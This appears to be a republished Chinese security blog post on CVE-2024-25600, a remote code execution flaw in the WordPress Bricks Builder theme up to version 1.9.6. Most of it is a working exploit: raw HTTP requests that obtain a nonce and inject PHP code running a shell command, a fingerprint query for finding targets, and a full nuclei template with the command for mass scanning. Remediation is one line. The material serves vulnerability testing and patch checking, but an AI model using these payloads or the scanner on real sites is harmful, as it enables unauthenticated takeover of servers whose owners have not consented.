免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
WordPres Bricks Builder RCE漏洞
02
—
漏洞影响
Bricks Builder <= 1.9.6
03
—
漏洞描述
Bricks Builder是一款用于WordPress的开发主题,提供直观的拖放界面,用于设计和构建WordPress网站。WordPress配置安装的Brick Builder主题在低于<= 1.9.6版本中存在远程代码执行漏洞。
04
—
body="/wp-content/themes/bricks/"
05
—
漏洞复现
第一步,获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
第二步,向靶场发送如下数据包执行id命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
{
"postId": "1",
"nonce": "第一步获得的值",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
"objectType": "post"
}
}
}
}
漏洞复现成功
06
—
批量扫描脚本
nuclei poc文件内容如下
id: CVE-2024-25600
info:
name: Unauthenticated Remote Code Execution – Bricks <= 1.9.6
author: christbowel
severity: critical
description: |
Bricks Builder is a popular WordPress development theme with approximately 25,000 active installations. It provides an intuitive drag-and-drop interface for designing and building WordPress websites. Bricks <= 1.9.6 is vulnerable to unauthenticated remote code execution (RCE) which means that anybody can run arbitrary commands and take over the site/server. This can lead to various malicious activities
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25600
- https://wpscan.com/vulnerability/afea4f8c-4d45-4cc0-8eb7-6fa6748158bd/
- https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6
- https://github.com/Chocapikk/CVE-2024-25600
- https://op-c.net/blog/cve-2024-25600-wordpresss-bricks-builder-rce-flaw-under-active-exploitation
metadata:
publicwww-query: "/wp-content/themes/bricks/"
verified: true
max-request: 2
tags: cve,cve2024,wpscan,wordpress,wp-plugin,wp,bricks,rce
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"postId": "1",
"nonce": "{{nonce}}",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
"objectType": "post"
}
}
}
}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "Exception:"
- "uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)"
condition: and
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- 'nonce":"([0-9a-z]+)'
internal: true
# digest: 4a0a0047304502200825dcce3678d271573926754136ccd219fed98b4224e0d037ae0df099af337c022100ad0aff9a59a433275ece8b3ba693d51b7c10de39801f51c9256acefb4de536e5:922c64590222798bb761d5b6d8e72950
运行POC
nuclei.exe -l data/CVE-2024-25600.txt -t mypoc/cve/CVE-2024-25600.yaml
07
—
修复建议
升级到最新版本。
08
—
新粉丝
原文始发于微信公众号(AI与网安):CVE-2024-25600
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论